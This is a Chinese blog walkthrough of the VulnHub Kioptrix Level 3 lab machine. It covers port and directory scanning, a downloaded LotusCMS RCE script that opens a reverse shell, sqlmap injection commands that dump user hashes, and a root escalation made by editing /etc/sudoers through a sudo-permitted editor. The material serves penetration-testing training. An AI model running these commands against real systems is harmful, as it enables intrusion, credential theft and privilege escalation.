实验环境

攻击机(kali):192.168.146.128

靶机下载地址:https://www.vulnhub.com/entry/kioptrix-level-12-3,24/

kali 与靶机为同种网络模式(此处均为 NAT 模式)

Enumeration

Host Enumeration

使用 arp-scan 进行主机探测:sudo arp-scan -l

得到靶机 IP 为:192.168.146.133

根据靶机附带 readme 文件内容:

按提示添加 host 记录到攻击机:sudo nano /etc/hosts

Port Enumeration

使用 nmap 进行端口扫描:sudo nmap -T4 -sV -O -p- 192.168.146.133

└─$ sudo nmap -T4 -sV -O -p- 192.168.146.133
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-06 13:20 CST
Nmap scan report for 192.168.146.133
Host is up (0.0010s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
MAC Address: 00:0C:29:99:67:C5 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.02 seconds

发现开放 22(ssh)与 80(http)服务。

Directory Enumeration

使用 dirsearch 进行目录扫描:dirsearch -u http://kioptrix3.com -x 400-599 -t 50

目录扫描发现存在可疑路径 /gallery、/phpmyadmin。

Foothold

LotusCMS RCE

针对 web 页面进行信息搜集,使用 whatweb 扫描网站信息:whatweb http://kioptrix3.com

发现其网站 CMS 可能是 LotusCMS。

访问 web 页面在首页发现 Login 字样,点击就会跳转到登录框,同时在登录框下方也看到 CMS 信息:

通过 searchsploit 查询此 CMS 相关漏洞:searchsploit lotuscms

查找到存在 RCE 但是需要用到 MSF,为贴近 OSCP 考试,尽量不使用 MSF,上网查询是否存在其他 exp 代码:

在 github 找到 exp:https://github.com/Hood3dRob1n/LotusCMS-Exploit

将其下载到攻击机并赋予可执行权限:

wget https://raw.githubusercontent.com/Hood3dRob1n/LotusCMS-Exploit/master/lotusRCE.sh

chmod +x lotusRCE.sh

查看代码内容可知使用方法:

先新建窗口建立起 nc 监听:nc -lvnp 4444

然后运行 exp 代码:./lotusRCE.sh kioptrix3.com /

运行后按提示输入用于接收反弹 shell 的 IP 和端口,并选择反弹方式:

选择反弹方式 1 之后,nc 收到反弹 shell,权限为 www-data

使用 Python 建立 TTY Shell:python -c 'import pty;pty.spawn("/bin/bash");'

翻一下目录尝试搜集有效信息,在当前位置下的/gallery文件夹下发现存在疑似配置文件gconfig.php

查看文件内容得到 mysql 账号密码为:root/fuckeyou

前往前面目录扫描时得到的路径 /phphmyadmin,访问进行登录,在数据库gallery中发现两个存有用户信息的表:dev_accountsgallarific_users

dev_accounts表中的用户信息:

1	dreg	0d3eccfb887aabd50f243b3f155c0f85
2	loneferret	5badcaf789d3d1d09794d8f021f40f0e

密码被加密,使用网站在线解密:https://crackstation.net/

1	dreg	0d3eccfb887aabd50f243b3f155c0f85(Mast3r)
2	loneferret	5badcaf789d3d1d09794d8f021f40f0e(starwars)

gallarific_users表中的用户信息:

1	admin	n0t7t1k4

接下来使用得到的账号密码前往http://kioptrix3.com/index.php?system=Admin尝试登录,三个都无法登录成功,换 ssh 登录,dreg、loneferret 可成功登录。

访问http://kioptrix3.com/gallery/进行漏洞挖掘:

点击页面 Ligoat Press Room 进入新页面,左下角有排序选项框,任选之后发现 url 出现了 id 参数:

将此 url 丢到 sqlmap 进行测试:

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" --dbs --batch

存在注入并查询出数据库名,接下来查询 gallery 库中的表名、列名、字段值:

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery --tables --batch

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery -T dev_accounts --columns --batch

sqlmap -u "http://kioptrix3.com/gallery/gallery.php?id=1&sort=photoid#photos" -D gallery -T dev_accounts -C username,password --dump --batch

最终查询到用户名密码,密码经过 md5 加密,sqlmap 已自动解密:

Database: gallery                                                                                                             
Table: dev_accounts
[2 entries]
+------------+---------------------------------------------+
| username   | password                                    |
+------------+---------------------------------------------+
| dreg       | 0d3eccfb887aabd50f243b3f155c0f85 (Mast3r)   |
| loneferret | 5badcaf789d3d1d09794d8f021f40f0e (starwars) |
+------------+---------------------------------------------+

后续与前面类似,不再赘述。

Privilege Escalation

查看 dreg 用户,不允许 sudo 命令,家目录下无信息文件:

查看 loneferret 用户,家目录下存在两个文件,可执行脚本checksec.sh是逆向中用于检测目标文件使用了哪些防护技术的,在CompanyPolicy.README文件中找到提示信息,要运行命令:sudo ht

运行出现报错提示:Error opening terminal: xterm-256color.

查询是新版 kali 的终端配色过于先进,降级一下:export TERM=xterm-color

验证一下 sudo 权限:

发现 su 和 ht 具有 root 权限,尝试运行 su 命令失败,无法直接切换至 root 用户。

再次运行:sudo ht

ht 编辑器使用说明:https://www.aldeid.com/wiki/HT-Editor

按 F3 调出文件窗口,输入/etc/sudoers回车进行编辑:

将原有loneferret条目修改为:loneferret ALL=(ALL) ALL

修改完毕按 F2 保存,然后按 F10 退出,回到终端后运行命令:sudo su -(输入loneferret密码 starwars)

成功获取 root 权限,并在 root 目录下找到 flag。

Key Learnings From this BOX

  • 学会寻找 cms 框架信息,配合 searchsploit、github 寻找相关漏洞进行利用;
  • 时刻关注登录框的 SQL 注入;
  • 提权依然离不开信息搜集,如 sudo 权限范围、使用 root 权限的进程等信息。
文章作者: z0sen
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 z0sen's Blog
Walkthrough VulnHub Linux RCE SQLi
喜欢就支持一下吧